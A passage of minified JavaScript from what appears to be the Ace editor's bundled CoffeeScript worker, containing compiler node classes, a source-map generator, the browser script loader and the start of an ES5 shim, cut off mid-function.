n=[],t=this.operator,null==e.scope.parent&&this.error(\"yield statements must occur within a function generator.\"),St.call(Object.keys(this.first),\"expression\")>=0&&!(this.first instanceof $)?this.isYieldReturn()?n.push(this.first.compileToFragments(e,k)):null!=this.first.expression&&n.push(this.first.expression.compileToFragments(e,N)):(n.push([this.makeCode(\"(\"+t+\" \")]),n.push(this.first.compileToFragments(e,N)),n.push([this.makeCode(\")\")])),this.joinFragmentArrays(n,\"\")},n.prototype.compilePower=function(e){var n;return n=new Q(new L(\"Math\"),[new t(new L(\"pow\"))]),(new o(n,[this.first,this.second])).compileToFragments(e)},n.prototype.compileFloorDivision=function(e){var r,i;return i=new Q(new L(\"Math\"),[new t(new L(\"floor\"))]),r=new n(\"/\",this.first,this.second),(new o(i,[r])).compileToFragments(e)},n.prototype.compileModulo=function(e){var t;return t=new Q(new L(bt(\"modulo\",e))),(new o(t,[this.first,this.second])).compileToFragments(e)},n.prototype.toString=function(e){return n.__super__.toString.call(this,e,this.constructor.name+\" \"+this.operator)},n}(i),e.In=w=function(e){function t(e,t){this.object=e,this.array=t}return wt(t,e),t.prototype.children=[\"object\",\"array\"],t.prototype.invert=A,t.prototype.compileNode=function(e){var t,n,r,i,s;if(this.array instanceof Q&&this.array.isArray()&&this.array.base.objects.length){for(s=this.array.base.objects,n=0,r=s.length;r>n;n++)if(i=s[n],i instanceof z){t=!0;break}if(!t)return this.compileOrTest(e)}return this.compileLoopTest(e)},t.prototype.compileOrTest=function(e){var t,n,r,i,s,o,u,a,f,l,c,h;for(a=this.object.cache(e,N),c=a[0],u=a[1],f=this.negated?[\" !== \",\" && \"]:[\" === \",\" || \"],t=f[0],n=f[1],h=[],l=this.array.base.objects,r=s=0,o=l.length;o>s;r=++s)i=l[r],r&&h.push(this.makeCode(n)),h=h.concat(r?u:c,this.makeCode(t),i.compileToFragments(e,S));return N>e.level?h:this.wrapInBraces(h)},t.prototype.compileLoopTest=function(e){var t,n,r,i;return r=this.object.cache(e,T),i=r[0],n=r[1],t=[].concat(this.makeCode(bt(\"indexOf\",e)+\".call(\"),this.array.compileToFragments(e,T),this.makeCode(\", \"),n,this.makeCode(\") \"+(this.negated?\"< 0\":\">= 0\"))),st(i)===st(n)?t:(t=i.concat(this.makeCode(\", \"),t),T>e.level?t:this.wrapInBraces(t))},t.prototype.toString=function(e){return t.__super__.toString.call(this,e,this.constructor.name+(this.negated?\"!\":\"\"))},t}(i),e.Try=J=function(e){function t(e,t,n,r){this.attempt=e,this.errorVariable=t,this.recovery=n,this.ensure=r}return wt(t,e),t.prototype.children=[\"attempt\",\"recovery\",\"ensure\"],t.prototype.isStatement=Y,t.prototype.jumps=function(e){var t;return this.attempt.jumps(e)||(null!=(t=this.recovery)?t.jumps(e):void 0)},t.prototype.makeReturn=function(e){return this.attempt&&(this.attempt=this.attempt.makeReturn(e)),this.recovery&&(this.recovery=this.recovery.makeReturn(e)),this},t.prototype.compileNode=function(e){var t,n,i,s;return e.indent+=X,s=this.attempt.compileToFragments(e,k),t=this.recovery?(i=new L(\"_error\"),this.errorVariable?this.recovery.unshift(new r(this.errorVariable,i)):void 0,[].concat(this.makeCode(\" catch (\"),i.compileToFragments(e),this.makeCode(\") {\\n\"),this.recovery.compileToFragments(e,k),this.makeCode(\"\\n\"+this.tab+\"}\"))):this.ensure||this.recovery?[]:[this.makeCode(\" catch (_error) {}\")],n=this.ensure?[].concat(this.makeCode(\" finally {\\n\"),this.ensure.compileToFragments(e,k),this.makeCode(\"\\n\"+this.tab+\"}\")):[],[].concat(this.makeCode(this.tab+\"try {\\n\"),s,this.makeCode(\"\\n\"+this.tab+\"}\"),t,n)},t}(i),e.Throw=$=function(e){function t(e){this.expression=e}return wt(t,e),t.prototype.children=[\"expression\"],t.prototype.isStatement=Y,t.prototype.jumps=O,t.prototype.makeReturn=V,t.prototype.compileNode=function(e){return[].concat(this.makeCode(this.tab+\"throw \"),this.expression.compileToFragments(e),this.makeCode(\";\"))},t}(i),e.Existence=c=function(e){function t(e){this.expression=e}return wt(t,e),t.prototype.children=[\"expression\"],t.prototype.invert=A,t.prototype.compileNode=function(e){var t,n,r,i;return this.expression.front=this.front,r=this.expression.compile(e,N),m.test(r)&&!e.scope.check(r)?(i=this.negated?[\"===\",\"||\"]:[\"!==\",\"&&\"],t=i[0],n=i[1],r=\"typeof \"+r+\" \"+t+' \"undefined\" '+n+\" \"+r+\" \"+t+\" null\"):r=r+\" \"+(this.negated?\"==\":\"!=\")+\" null\",[this.makeCode(x>=e.level?r:\"(\"+r+\")\")]},t}(i),e.Parens=H=function(e){function t(e){this.body=e}return wt(t,e),t.prototype.children=[\"body\"],t.prototype.unwrap=function(){return this.body},t.prototype.isComplex=function(){return this.body.isComplex()},t.prototype.compileNode=function(e){var t,n,r;return n=this.body.unwrap(),n instanceof Q&&n.isAtomic()?(n.front=this.front,n.compileToFragments(e)):(r=n.compileToFragments(e,C),t=N>e.level&&(n instanceof D||n instanceof o||n instanceof d&&n.returns),t?r:this.wrapInBraces(r))},t}(i),e.For=d=function(e){function t(e,t){var n;this.source=t.source,this.guard=t.guard,this.step=t.step,this.name=t.name,this.index=t.index,this.body=s.wrap([e]),this.own=!!t.own,this.object=!!t.object,this.object&&(n=[this.index,this.name],this.name=n[0],this.index=n[1]),this.index instanceof Q&&this.index.error(\"index cannot be a pattern matching expression\"),this.range=this.source instanceof Q&&this.source.base instanceof j&&!this.source.properties.length,this.pattern=this.name instanceof Q,this.range&&this.index&&this.index.error(\"indexes do not apply to range loops\"),this.range&&this.pattern&&this.name.error(\"cannot pattern match over range loops\"),this.own&&!this.object&&this.name.error(\"cannot use own with for-in\"),this.returns=!1}return wt(t,e),t.prototype.children=[\"body\",\"source\",\"guard\",\"step\"],t.prototype.compileNode=function(e){var t,n,i,o,u,a,f,l,c,h,p,d,v,g,y,w,E,S,x,N,C,A,O,_,D,P,B,j,I,q,R,U,z,W;return t=s.wrap([this.body]),O=t.expressions,S=O[O.length-1],(null!=S?S.jumps():void 0)instanceof F&&(this.returns=!1),I=this.range?this.source.base:this.source,j=e.scope,this.pattern||(N=this.name&&this.name.compile(e,T)),g=this.index&&this.index.compile(e,T),N&&!this.pattern&&j.find(N),g&&j.find(g),this.returns&&(B=j.freeVariable(\"results\")),y=this.object&&g||j.freeVariable(\"i\",{single:!0}),w=this.range&&N||g||y,E=w!==y?w+\" = \":\"\",this.step&&!this.range&&(_=this.cacheToCodeFragments(this.step.cache(e,T,ot)),q=_[0],U=_[1],R=U.match(M)),this.pattern&&(N=y),W=\"\",p=\"\",f=\"\",d=this.tab+X,this.range?h=I.compileToFragments(lt(e,{index:y,name:N,step:this.step,isComplex:ot})):(z=this.source.compile(e,T),!N&&!this.own||m.test(z)||(f+=\"\"+this.tab+(A=j.freeVariable(\"ref\"))+\" = \"+z+\";\\n\",z=A),N&&!this.pattern&&(C=N+\" = \"+z+\"[\"+w+\"]\"),this.object||(q!==U&&(f+=\"\"+this.tab+q+\";\\n\"),this.step&&R&&(c=0>ht(R[0]))||(x=j.freeVariable(\"len\")),u=\"\"+E+y+\" = 0, \"+x+\" = \"+z+\".length\",a=\"\"+E+y+\" = \"+z+\".length - 1\",i=y+\" < \"+x,o=y+\" >= 0\",this.step?(R?c&&(i=o,u=a):(i=U+\" > 0 ? \"+i+\" : \"+o,u=\"(\"+U+\" > 0 ? (\"+u+\") : \"+a+\")\"),v=y+\" += \"+U):v=\"\"+(w!==y?\"++\"+y:y+\"++\"),h=[this.makeCode(u+\"; \"+i+\"; \"+E+v)])),this.returns&&(D=\"\"+this.tab+B+\" = [];\\n\",P=\"\\n\"+this.tab+\"return \"+B+\";\",t.makeReturn(B)),this.guard&&(t.expressions.length>1?t.expressions.unshift(new b((new H(this.guard)).invert(),new L(\"continue\"))):this.guard&&(t=s.wrap([new b(this.guard,t)]))),this.pattern&&t.expressions.unshift(new r(this.name,new L(z+\"[\"+w+\"]\"))),l=[].concat(this.makeCode(f),this.pluckDirectCall(e,t)),C&&(W=\"\\n\"+d+C+\";\"),this.object&&(h=[this.makeCode(w+\" in \"+z)],this.own&&(p=\"\\n\"+d+\"if (!\"+bt(\"hasProp\",e)+\".call(\"+z+\", \"+w+\")) continue;\")),n=t.compileToFragments(lt(e,{indent:d}),k),n&&n.length>0&&(n=[].concat(this.makeCode(\"\\n\"),n,this.makeCode(\"\\n\"))),[].concat(l,this.makeCode(\"\"+(D||\"\")+this.tab+\"for (\"),h,this.makeCode(\") {\"+p+W),n,this.makeCode(this.tab+\"}\"+(P||\"\")))},t.prototype.pluckDirectCall=function(e,t){var n,i,s,u,f,l,c,h,p,d,v,m,g,y,b,w;for(i=[],p=t.expressions,f=l=0,c=p.length;c>l;f=++l)s=p[f],s=s.unwrapAll(),s instanceof o&&(w=null!=(d=s.variable)?d.unwrapAll():void 0,(w instanceof a||w instanceof Q&&(null!=(v=w.base)?v.unwrapAll():void 0)instanceof a&&1===w.properties.length&&(\"call\"===(m=null!=(g=w.properties[0].name)?g.value:void 0)||\"apply\"===m))&&(u=(null!=(y=w.base)?y.unwrapAll():void 0)||w,h=new L(e.scope.freeVariable(\"fn\")),n=new Q(h),w.base&&(b=[n,w],w.base=b[0],n=b[1]),t.expressions[f]=new o(n,s.args),i=i.concat(this.makeCode(this.tab),(new r(h,u)).compileToFragments(e,k),this.makeCode(\";\\n\"))));return i},t}(G),e.Switch=W=function(e){function t(e,t,n){this.subject=e,this.cases=t,this.otherwise=n}return wt(t,e),t.prototype.children=[\"subject\",\"cases\",\"otherwise\"],t.prototype.isStatement=Y,t.prototype.jumps=function(e){var t,n,r,i,s,o,u,a;for(null==e&&(e={block:!0}),o=this.cases,r=0,s=o.length;s>r;r++)if(u=o[r],n=u[0],t=u[1],i=t.jumps(e))return i;return null!=(a=this.otherwise)?a.jumps(e):void 0},t.prototype.makeReturn=function(e){var t,n,r,i,o;for(i=this.cases,t=0,n=i.length;n>t;t++)r=i[t],r[1].makeReturn(e);return e&&(this.otherwise||(this.otherwise=new s([new L(\"void 0\")]))),null!=(o=this.otherwise)&&o.makeReturn(e),this},t.prototype.compileNode=function(e){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m;for(a=e.indent+X,f=e.indent=a+X,o=[].concat(this.makeCode(this.tab+\"switch (\"),this.subject?this.subject.compileToFragments(e,C):this.makeCode(\"false\"),this.makeCode(\") {\\n\")),d=this.cases,u=l=0,h=d.length;h>l;u=++l){for(v=d[u],i=v[0],t=v[1],m=it([i]),c=0,p=m.length;p>c;c++)r=m[c],this.subject||(r=r.invert()),o=o.concat(this.makeCode(a+\"case \"),r.compileToFragments(e,C),this.makeCode(\":\\n\"));if((n=t.compileToFragments(e,k)).length>0&&(o=o.concat(n,this.makeCode(\"\\n\"))),u===this.cases.length-1&&!this.otherwise)break;s=this.lastNonComment(t.expressions),s instanceof F||s instanceof L&&s.jumps()&&\"debugger\"!==s.value||o.push(r.makeCode(f+\"break;\\n\"))}return this.otherwise&&this.otherwise.expressions.length&&o.push.apply(o,[this.makeCode(a+\"default:\\n\")].concat(xt.call(this.otherwise.compileToFragments(e,k)),[this.makeCode(\"\\n\")])),o.push(this.makeCode(this.tab+\"}\")),o},t}(i),e.If=b=function(e){function t(e,t,n){this.body=t,null==n&&(n={}),this.condition=\"unless\"===n.type?e.invert():e,this.elseBody=null,this.isChain=!1,this.soak=n.soak}return wt(t,e),t.prototype.children=[\"condition\",\"body\",\"elseBody\"],t.prototype.bodyNode=function(){var e;return null!=(e=this.body)?e.unwrap():void 0},t.prototype.elseBodyNode=function(){var e;return null!=(e=this.elseBody)?e.unwrap():void 0},t.prototype.addElse=function(e){return this.isChain?this.elseBodyNode().addElse(e):(this.isChain=e instanceof t,this.elseBody=this.ensureBlock(e),this.elseBody.updateLocationDataIfMissing(e.locationData)),this},t.prototype.isStatement=function(e){var t;return(null!=e?e.level:void 0)===k||this.bodyNode().isStatement(e)||(null!=(t=this.elseBodyNode())?t.isStatement(e):void 0)},t.prototype.jumps=function(e){var t;return this.body.jumps(e)||(null!=(t=this.elseBody)?t.jumps(e):void 0)},t.prototype.compileNode=function(e){return this.isStatement(e)?this.compileStatement(e):this.compileExpression(e)},t.prototype.makeReturn=function(e){return e&&(this.elseBody||(this.elseBody=new s([new L(\"void 0\")]))),this.body&&(this.body=new s([this.body.makeReturn(e)])),this.elseBody&&(this.elseBody=new s([this.elseBody.makeReturn(e)])),this},t.prototype.ensureBlock=function(e){return e instanceof s?e:new s([e])},t.prototype.compileStatement=function(e){var n,r,i,s,o,u,a;return i=tt(e,\"chainChild\"),(o=tt(e,\"isExistentialEquals\"))?(new t(this.condition.invert(),this.elseBodyNode(),{type:\"if\"})).compileToFragments(e):(a=e.indent+X,s=this.condition.compileToFragments(e,C),r=this.ensureBlock(this.body).compileToFragments(lt(e,{indent:a})),u=[].concat(this.makeCode(\"if (\"),s,this.makeCode(\") {\\n\"),r,this.makeCode(\"\\n\"+this.tab+\"}\")),i||u.unshift(this.makeCode(this.tab)),this.elseBody?(n=u.concat(this.makeCode(\" else \")),this.isChain?(e.chainChild=!0,n=n.concat(this.elseBody.unwrap().compileToFragments(e,k))):n=n.concat(this.makeCode(\"{\\n\"),this.elseBody.compileToFragments(lt(e,{indent:a}),k),this.makeCode(\"\\n\"+this.tab+\"}\")),n):u)},t.prototype.compileExpression=function(e){var t,n,r,i;return r=this.condition.compileToFragments(e,x),n=this.bodyNode().compileToFragments(e,T),t=this.elseBodyNode()?this.elseBodyNode().compileToFragments(e,T):[this.makeCode(\"void 0\")],i=r.concat(this.makeCode(\" ? \"),n,this.makeCode(\" : \"),t),e.level>=x?this.wrapInBraces(i):i},t.prototype.unfoldSoak=function(){return this.soak&&this},t}(i),K={extend:function(e){return\"function(child, parent) { for (var key in parent) { if (\"+bt(\"hasProp\",e)+\".call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }\"},bind:function(){return\"function(fn, me){ return function(){ return fn.apply(me, arguments); }; }\"},indexOf:function(){return\"[].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; }\"},modulo:function(){return\"function(a, b) { return (+a % (b = +b) + b) % b; }\"},hasProp:function(){return\"{}.hasOwnProperty\"},slice:function(){return\"[].slice\"}},k=1,C=2,T=3,x=4,N=5,S=6,X=\"  \",m=/^(?!\\d)[$\\w\\x7f-\\uffff]+$/,I=/^[+-]?\\d+$/,v=/^[+-]?0x[\\da-f]+/i,M=/^[+-]?(?:0x[\\da-f]+|\\d*\\.?\\d+(?:e[+-]?\\d+)?)$/i,y=/^['\"]/,g=/^\\//,bt=function(e,t){var n,r;return r=t.scope.root,e in r.utilities?r.utilities[e]:(n=r.freeVariable(e),r.assign(n,K[e](t)),r.utilities[e]=n)},ct=function(e,t){return e=e.replace(/\\n/g,\"$&\"+t),e.replace(/\\s+$/,\"\")},ht=function(e){return null==e?0:e.match(v)?parseInt(e,16):parseFloat(e)},ut=function(e){return e instanceof L&&\"arguments\"===e.value&&!e.asKey},at=function(e){return e instanceof L&&\"this\"===e.value&&!e.asKey||e instanceof a&&e.bound||e instanceof o&&e.isSuper},ot=function(e){return e.isComplex()||(\"function\"==typeof e.isAssignable?e.isAssignable():void 0)},yt=function(e,t,n){var r;if(r=t[n].unfoldSoak(e))return t[n]=r.body,r.body=new Q(t),r}}.call(this),t.exports}(),_dereq_[\"./sourcemap\"]=function(){var e={},t={exports:e};return function(){var e,n;e=function(){function e(e){this.line=e,this.columns=[]}return e.prototype.add=function(e,t,n){var r,i;return i=t[0],r=t[1],null==n&&(n={}),this.columns[e]&&n.noReplace?void 0:this.columns[e]={line:this.line,column:e,sourceLine:i,sourceColumn:r}},e.prototype.sourceLocation=function(e){for(var t;!((t=this.columns[e])||0>=e);)e--;return t&&[t.sourceLine,t.sourceColumn]},e}(),n=function(){function t(){this.lines=[]}var n,r,i,s;return t.prototype.add=function(t,n,r){var i,s,o,u;return null==r&&(r={}),o=n[0],s=n[1],u=(i=this.lines)[o]||(i[o]=new e(o)),u.add(s,t,r)},t.prototype.sourceLocation=function(e){var t,n,r;for(n=e[0],t=e[1];!((r=this.lines[n])||0>=n);)n--;return r&&r.sourceLocation(t)},t.prototype.generate=function(e,t){var n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g;for(null==e&&(e={}),null==t&&(t=null),g=0,s=0,u=0,o=0,p=!1,n=\"\",d=this.lines,c=r=0,a=d.length;a>r;c=++r)if(l=d[c])for(v=l.columns,i=0,f=v.length;f>i;i++)if(h=v[i]){for(;h.line>g;)s=0,p=!1,n+=\";\",g++;p&&(n+=\",\",p=!1),n+=this.encodeVlq(h.column-s),s=h.column,n+=this.encodeVlq(0),n+=this.encodeVlq(h.sourceLine-u),u=h.sourceLine,n+=this.encodeVlq(h.sourceColumn-o),o=h.sourceColumn,p=!0}return m={version:3,file:e.generatedFile||\"\",sourceRoot:e.sourceRoot||\"\",sources:e.sourceFiles||[\"\"],names:[],mappings:n},e.inline&&(m.sourcesContent=[t]),JSON.stringify(m,null,2)},i=5,r=1<<i,s=r-1,t.prototype.encodeVlq=function(e){var t,n,o,u;for(t=\"\",o=0>e?1:0,u=(Math.abs(e)<<1)+o;u||!t;)n=u&s,u>>=i,u&&(n|=r),t+=this.encodeBase64(n);return t},n=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\",t.prototype.encodeBase64=function(e){return n[e]||function(){throw Error(\"Cannot Base64 encode value: \"+e)}()},t}(),t.exports=n}.call(this),t.exports}(),_dereq_[\"./coffee-script\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b={}.hasOwnProperty,w=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};if(u=_dereq_(\"fs\"),g=_dereq_(\"vm\"),d=_dereq_(\"path\"),t=_dereq_(\"./lexer\").Lexer,p=_dereq_(\"./parser\").parser,f=_dereq_(\"./helpers\"),n=_dereq_(\"./sourcemap\"),e.VERSION=\"1.9.3\",e.FILE_EXTENSIONS=[\".coffee\",\".litcoffee\",\".coffee.md\"],e.helpers=f,y=function(e){return function(t,n){var r;null==n&&(n={});try{return e.call(this,t,n)}catch(i){throw(r=i,\"string\"!=typeof t)?r:f.updateSyntaxError(r,t,n.filename)}}},e.compile=i=y(function(e,t){var r,i,s,o,u,a,l,c,d,v,m,g,y,b,w;for(g=f.merge,o=f.extend,t=o({},t),t.sourceMap&&(m=new n),w=h.tokenize(e,t),t.referencedVars=function(){var e,t,n;for(n=[],e=0,t=w.length;t>e;e++)b=w[e],b.variable&&n.push(b[1]);return n}(),a=p.parse(w).compileToFragments(t),s=0,t.header&&(s+=1),t.shiftLine&&(s+=1),i=0,d=\"\",c=0,v=a.length;v>c;c++)u=a[c],t.sourceMap&&(u.locationData&&!/^[;\\s]*$/.test(u.code)&&m.add([u.locationData.first_line,u.locationData.first_column],[s,i],{noReplace:!0}),y=f.count(u.code,\"\\n\"),s+=y,y?i=u.code.length-(u.code.lastIndexOf(\"\\n\")+1):i+=u.code.length),d+=u.code;return t.header&&(l=\"Generated by CoffeeScript \"+this.VERSION,d=\"// \"+l+\"\\n\"+d),t.sourceMap?(r={js:d},r.sourceMap=m,r.v3SourceMap=m.generate(t,e),r):d}),e.tokens=y(function(e,t){return h.tokenize(e,t)}),e.nodes=y(function(e,t){return\"string\"==typeof e?p.parse(h.tokenize(e,t)):p.parse(e)}),e.run=function(e,t){var n,r,s,o;return null==t&&(t={}),s=_dereq_.main,s.filename=process.argv[1]=t.filename?u.realpathSync(t.filename):\".\",s.moduleCache&&(s.moduleCache={}),r=t.filename?d.dirname(u.realpathSync(t.filename)):u.realpathSync(\".\"),s.paths=_dereq_(\"module\")._nodeModulePaths(r),(!f.isCoffee(s.filename)||_dereq_.extensions)&&(n=i(e,t),e=null!=(o=n.js)?o:n),s._compile(e,s.filename)},e.eval=function(e,t){var n,r,s,o,u,a,f,l,c,h,p,v,m,y,w,E,S;if(null==t&&(t={}),e=e.trim()){if(o=null!=(v=g.Script.createContext)?v:g.createContext,a=null!=(m=g.isContext)?m:function(){return t.sandbox instanceof o().constructor},o){if(null!=t.sandbox){if(a(t.sandbox))E=t.sandbox;else{E=o(),y=t.sandbox;for(l in y)b.call(y,l)&&(S=y[l],E[l]=S)}E.global=E.root=E.GLOBAL=E}else E=global;if(E.__filename=t.filename||\"eval\",E.__dirname=d.dirname(E.__filename),E===global&&!E.module&&!E.require){for(n=_dereq_(\"module\"),E.module=r=new n(t.modulename||\"eval\"),E.require=s=function(e){return n._load(e,r,!0)},r.filename=E.__filename,w=Object.getOwnPropertyNames(_dereq_),u=0,c=w.length;c>u;u++)p=w[u],\"paths\"!==p&&(s[p]=_dereq_[p]);s.paths=r.paths=n._nodeModulePaths(process.cwd()),s.resolve=function(e){return n._resolveFilename(e,r)}}}h={};for(l in t)b.call(t,l)&&(S=t[l],h[l]=S);return h.bare=!0,f=i(e,h),E===global?g.runInThisContext(f):g.runInContext(f,E)}},e.register=function(){return _dereq_(\"./register\")},_dereq_.extensions)for(v=this.FILE_EXTENSIONS,l=0,c=v.length;c>l;l++)s=v[l],null==(r=_dereq_.extensions)[s]&&(r[s]=function(){throw Error(\"Use CoffeeScript.register() or require the coffee-script/register module to require \"+s+\" files.\")});e._compileFile=function(e,t){var n,r,s,o;null==t&&(t=!1),s=u.readFileSync(e,\"utf8\"),o=65279===s.charCodeAt(0)?s.substring(1):s;try{n=i(o,{filename:e,sourceMap:t,literate:f.isLiterate(e)})}catch(a){throw r=a,f.updateSyntaxError(r,o,e)}return n},h=new t,p.lexer={lex:function(){var e,t;return t=p.tokens[this.pos++],t?(e=t[0],this.yytext=t[1],this.yylloc=t[2],p.errorToken=t.origin||t,this.yylineno=this.yylloc.first_line):e=\"\",e},setInput:function(e){return p.tokens=e,this.pos=0},upcomingInput:function(){return\"\"}},p.yy=_dereq_(\"./nodes\"),p.yy.parseError=function(e,t){var n,r,i,s,o,u;return o=t.token,s=p.errorToken,u=p.tokens,r=s[0],i=s[1],n=s[2],i=function(){switch(!1){case s!==u[u.length-1]:return\"end of input\";case\"INDENT\"!==r&&\"OUTDENT\"!==r:return\"indentation\";case\"IDENTIFIER\"!==r&&\"NUMBER\"!==r&&\"STRING\"!==r&&\"STRING_START\"!==r&&\"REGEX\"!==r&&\"REGEX_START\"!==r:return r.replace(/_START$/,\"\").toLowerCase();default:return f.nameWhitespaceCharacter(i)}}(),f.throwSyntaxError(\"unexpected \"+i,n)},o=function(e,t){var n,r,i,s,o,u,a,f,l,c,h,p;return s=void 0,i=\"\",e.isNative()?i=\"native\":(e.isEval()?(s=e.getScriptNameOrSourceURL(),s||(i=e.getEvalOrigin()+\", \")):s=e.getFileName(),s||(s=\"<anonymous>\"),f=e.getLineNumber(),r=e.getColumnNumber(),c=t(s,f,r),i=c?s+\":\"+c[0]+\":\"+c[1]:s+\":\"+f+\":\"+r),o=e.getFunctionName(),u=e.isConstructor(),a=!e.isToplevel()&&!u,a?(l=e.getMethodName(),p=e.getTypeName(),o?(h=n=\"\",p&&o.indexOf(p)&&(h=p+\".\"),l&&o.indexOf(\".\"+l)!==o.length-l.length-1&&(n=\" [as \"+l+\"]\"),\"\"+h+o+n+\" (\"+i+\")\"):p+\".\"+(l||\"<anonymous>\")+\" (\"+i+\")\"):u?\"new \"+(o||\"<anonymous>\")+\" (\"+i+\")\":o?o+\" (\"+i+\")\":i},m={},a=function(t){var n,r;if(m[t])return m[t];if(r=null!=d?d.extname(t):void 0,!(0>w.call(e.FILE_EXTENSIONS,r)))return n=e._compileFile(t,!0),m[t]=n.sourceMap},Error.prepareStackTrace=function(t,n){var r,i,s;return s=function(e,t,n){var r,i;return i=a(e),i&&(r=i.sourceLocation([t-1,n-1])),r?[r[0]+1,r[1]+1]:null},i=function(){var t,i,u;for(u=[],t=0,i=n.length;i>t&&(r=n[t],r.getFunction()!==e.run);t++)u.push(\"  at \"+o(r,s));return u}(),\"\"+t+\"\\n\"+i.join(\"\\n\")+\"\\n\"}}.call(this),t.exports}(),_dereq_[\"./browser\"]=function(){var exports={},module={exports:exports};return function(){var CoffeeScript,compile,runScripts,indexOf=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};CoffeeScript=_dereq_(\"./coffee-script\"),CoffeeScript.require=_dereq_,compile=CoffeeScript.compile,CoffeeScript.eval=function(code,options){return null==options&&(options={}),null==options.bare&&(options.bare=!0),eval(compile(code,options))},CoffeeScript.run=function(e,t){return null==t&&(t={}),t.bare=!0,t.shiftLine=!0,Function(compile(e,t))()},\"undefined\"!=typeof window&&null!==window&&(\"undefined\"!=typeof btoa&&null!==btoa&&\"undefined\"!=typeof JSON&&null!==JSON&&\"undefined\"!=typeof unescape&&null!==unescape&&\"undefined\"!=typeof encodeURIComponent&&null!==encodeURIComponent&&(compile=function(e,t){var n,r,i;return null==t&&(t={}),t.sourceMap=!0,t.inline=!0,r=CoffeeScript.compile(e,t),n=r.js,i=r.v3SourceMap,n+\"\\n//# sourceMappingURL=data:application/json;base64,\"+btoa(unescape(encodeURIComponent(i)))+\"\\n//# sourceURL=coffeescript\"}),CoffeeScript.load=function(e,t,n,r){var i;return null==n&&(n={}),null==r&&(r=!1),n.sourceFiles=[e],i=window.ActiveXObject?new window.ActiveXObject(\"Microsoft.XMLHTTP\"):new window.XMLHttpRequest,i.open(\"GET\",e,!0),\"overrideMimeType\"in i&&i.overrideMimeType(\"text/plain\"),i.onreadystatechange=function(){var s,o;if(4===i.readyState){if(0!==(o=i.status)&&200!==o)throw Error(\"Could not load \"+e);if(s=[i.responseText,n],r||CoffeeScript.run.apply(CoffeeScript,s),t)return t(s)}},i.send(null)},runScripts=function(){var e,t,n,r,i,s,o,u,a,f,l;for(l=window.document.getElementsByTagName(\"script\"),t=[\"text/coffeescript\",\"text/literate-coffeescript\"],e=function(){var e,n,r,i;for(i=[],e=0,n=l.length;n>e;e++)a=l[e],r=a.type,indexOf.call(t,r)>=0&&i.push(a);return i}(),s=0,n=function(){var t;return t=e[s],t instanceof Array?(CoffeeScript.run.apply(CoffeeScript,t),s++,n()):void 0},r=function(r,i){var s,o;return s={literate:r.type===t[1]},o=r.src||r.getAttribute(\"data-src\"),o?CoffeeScript.load(o,function(t){return e[i]=t,n()},s,!0):(s.sourceFiles=[\"embedded\"],e[i]=[r.innerHTML,s])},i=o=0,u=e.length;u>o;i=++o)f=e[i],r(f,i);return n()},window.addEventListener?window.addEventListener(\"DOMContentLoaded\",runScripts,!1):window.attachEvent(\"onload\",runScripts))}.call(this),module.exports}(),_dereq_[\"./coffee-script\"]}();\"function\"==typeof define&&define.amd?define(function(){return CoffeeScript}):root.CoffeeScript=CoffeeScript}(this)}),define(\"ace/mode/coffee_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/coffee/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"../mode/coffee/coffee\");window.addEventListener=function(){};var o=t.Worker=function(e){i.call(this,e),this.setTimeout(250)};r.inherits(o,i),function(){this.onUpdate=function(){var e=this.doc.getValue(),t=[];try{s.compile(e)}catch(n){var r=n.location;r&&t.push({row:r.first_line,column:r.first_column,endRow:r.last_line,endColumn:r.last_column,text:n.message,type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else 